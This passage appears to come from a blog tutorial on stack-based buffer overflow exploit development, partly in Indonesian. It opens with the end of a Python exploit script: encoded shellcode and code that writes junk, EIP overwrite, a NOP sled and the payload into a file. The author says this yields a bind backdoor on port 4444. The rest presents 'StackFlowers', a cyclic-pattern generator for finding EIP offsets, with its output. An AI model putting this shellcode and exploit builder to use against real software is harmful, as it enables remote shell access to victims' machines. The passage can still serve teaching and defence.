shellcode += "\xff\x8e\x66\xff\xc3\x91\x1a\x02\x17\x72\x22\xcd\x6a\x73"
shellcode += "\x63\x30\x84\x21\x3c\x3e\x36\xd6\x49\x02\x8a\xd7\x9d\x08"
shellcode += "\xb2\xaf\x98\xcf\x46\x1a\xa2\x1f\xf6\x11\xec\x87\x7d\x7d"
shellcode += "\xcd\xb6\x52\x9d\x31\xf0\xdf\x56\xc1\x03\x09\xa7\x2a\x32"
shellcode += "\x75\x64\x15\xfa\x78\x74\x51\x3d\x62\x03\xa9\x3d\x1f\x14"
shellcode += "\x6a\x3f\xfb\x91\x6f\xe7\x88\x02\x54\x19\x5d\xd4\x1f\x15"
shellcode += "\x2a\x92\x78\x3a\xad\x77\xf3\x46\x26\x76\xd4\xce\x7c\x5d"
shellcode += "\xf0\x8b\x27\xfc\xa1\x71\x86\x01\xb1\xde\x77\xa4\xb9\xcd"
shellcode += "\x6c\xde\xe3\x99\x41\xed\x1b\x5a\xcd\x66\x6f\x68\x52\xdd"
shellcode += "\xe7\xc0\x1b\xfb\xf0\x27\x36\xbb\x6f\xd6\xb8\xbc\xa6\x1d"
shellcode += "\xec\xec\xd0\xb4\x8c\x66\x21\x38\x59\x28\x71\x96\x31\x89"
shellcode += "\x21\x56\xe1\x61\x28\x59\xde\x92\x53\xb3\x69\x95\x9d\xe7"
shellcode += "\x3a\x72\xdc\x17\xad\xde\x69\xf1\xa7\xce\x3f\xa9\x5f\x2d"
shellcode += "\x64\x62\xf8\x4e\x4e\xde\x51\xd9\xc6\x08\x65\xe6\xd6\x1e"
shellcode += "\xc6\x4b\x7e\xc9\x9c\x87\xbb\xe8\xa3\x8d\xeb\x63\x9c\x46"
shellcode += "\x61\x1a\x6f\xf6\x76\x37\x07\x9b\xe5\xdc\xd7\xd2\x15\x4b"
shellcode += "\x80\xb3\xe8\x82\x44\x2e\x52\x3d\x7a\xb3\x02\x06\x3e\x68"
shellcode += "\xf7\x89\xbf\xfd\x43\xae\xaf\x3b\x4b\xea\x9b\x93\x1a\xa4"
shellcode += "\x75\x52\xf5\x06\x2f\x0c\xaa\xc0\xa7\xc9\x80\xd2\xb1\xd5"
shellcode += "\xcc\xa4\x5d\x67\xb9\xf0\x62\x48\x2d\xf5\x1b\xb4\xcd\xfa"
shellcode += "\xf6\x7c\xfd\xb0\x5a\xd4\x96\x1c\x0f\x64\xfb\x9e\xfa\xab"
shellcode += "\x02\x1d\x0e\x54\xf1\x3d\x7b\x51\xbd\xf9\x90\x2b\xae\x6f"
shellcode += "\x96\x98\xcf\xa5"

exploitf = open(filename, "wb")
exploitf.write(junk+eip+nopsled+shellcode)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

kita telah berhasil mengexploit dengan bind backdoor pada port 4444. di lain waktu saya akan menulis lagi, tehnik – tehnik lain tentang stack base overflow. sementara itu anda bisa menjadi “EIP HUNTERS” dan pesan untuk developers = “DON’T LET YOUR EIP HUNTED” ;).

StackFlowers | let’s flow it with the flowers


StackFlowers is a program that create pattern at the buffer, calculate pattern offset, write pattern buffer into specific variable name & programming language. Used for stack overflow exploit development.

Preview :

Nicely i’ve been created stand alone win32 executable for direct use of win32 exploit development.

in this example, we create 5000 bytes of pattern. to know how bytes eip overwriten exactly
this option will create pattern 5000 bytes.

gunslinger@c0debreaker:/media/disk/stackflowers$ ./StackFlowers.py -c -s 5000

StackFlowers v.0.8 by Gunslinger_ <yudha.gunslinger@gmail.com>
		    ,
		.--'|}
	       /    /}}
	     .=\.--'`\}
	    //` '---./`
	    ||  /|
	     \\| |
	   |\_\\/
	   \__/\\
		\\
		 \| "Lets flow with the flowers"

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk

Output has been saved in StackFlowers.log

gunslinger@c0debreaker:/media/disk/stackflowers$

or we can use it direct to write the pattern into specific variable & programming language.
this options will create 5000 bytes of pattern with variable name “buffer” with python programming style. and split the pattern every 50 bytes.

StackFlowers v.0.8 by Gunslinger_ <yudha.gunslinger@gmail.com>
		    ,
		.--'|}
	       /    /}}
	     .=\.--'`\}
	    //` '---./`
	    ||  /|
	     \\| |
	   |\_\\/
	   \__/\\
		\\
		 \| "Lets flow with the flowers"

buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab"
buff += "6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
buff += "d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
buff += "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
buff += "6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
buff += "i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
buff += "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"
buff += "6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
buff += "n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9"
buff += "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
buff += "6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A"
buff += "s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
buff += "Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av"
buff += "6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"
buff += "x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9"
buff += "Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
buff += "6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B"
buff += "c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
buff += "Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf"
buff += "6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
buff += "h3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9"
buff += "Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk"
buff += "6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2B"
buff += "m3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9"
buff += "Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp"
buff += "6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2B"
buff += "r3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9"
buff += "Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu"
buff += "6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2B"
buff += "w3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9"
buff += "By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz"
buff += "6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C"
buff += "b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9"
buff += "Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce"
buff += "6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2C"
buff += "g3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9"
buff += "Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj"
buff += "6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2C"
buff += "l3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9"
buff += "Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
buff += "6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2C"
buff += "q3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"
buff += "Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct"
buff += "6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C"
buff += "v3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9"
buff += "Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy"
buff += "6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2D"
buff += "a3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
buff += "Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd"
buff += "6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
buff += "f3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9"
buff += "Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di"
buff += "6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2D"
buff += "k3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"
buff += "Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn"
buff += "6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D"
buff += "p3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9"
buff += "Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds"
buff += "6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2D"
buff += "u3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
buff += "Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx"
buff += "6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2D"
buff += "z3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9"
buff += "Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec"
buff += "6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2E"
buff += "e3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9"
buff += "Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh"
buff += "6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2E"
buff += "j3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9"
buff += "El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em"
buff += "6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2E"
buff += "o3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9"
buff += "Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er"
buff += "6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2E"
buff += "t3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9"
buff += "Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew"
buff += "6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2E"
buff += "y3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9"
buff += "Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb"
buff += "6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"
buff += "d3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9"
buff += "Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg"
buff += "6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2F"
buff += "i3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9"
buff += "Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl"
buff += "6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2F"
buff += "n3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9"
buff += "Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq"
buff += "6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2F"
buff += "s3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9"
buff += "Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv"
buff += "6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2F"
buff += "x3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9"
buff += "Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga"
buff += "6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2G"
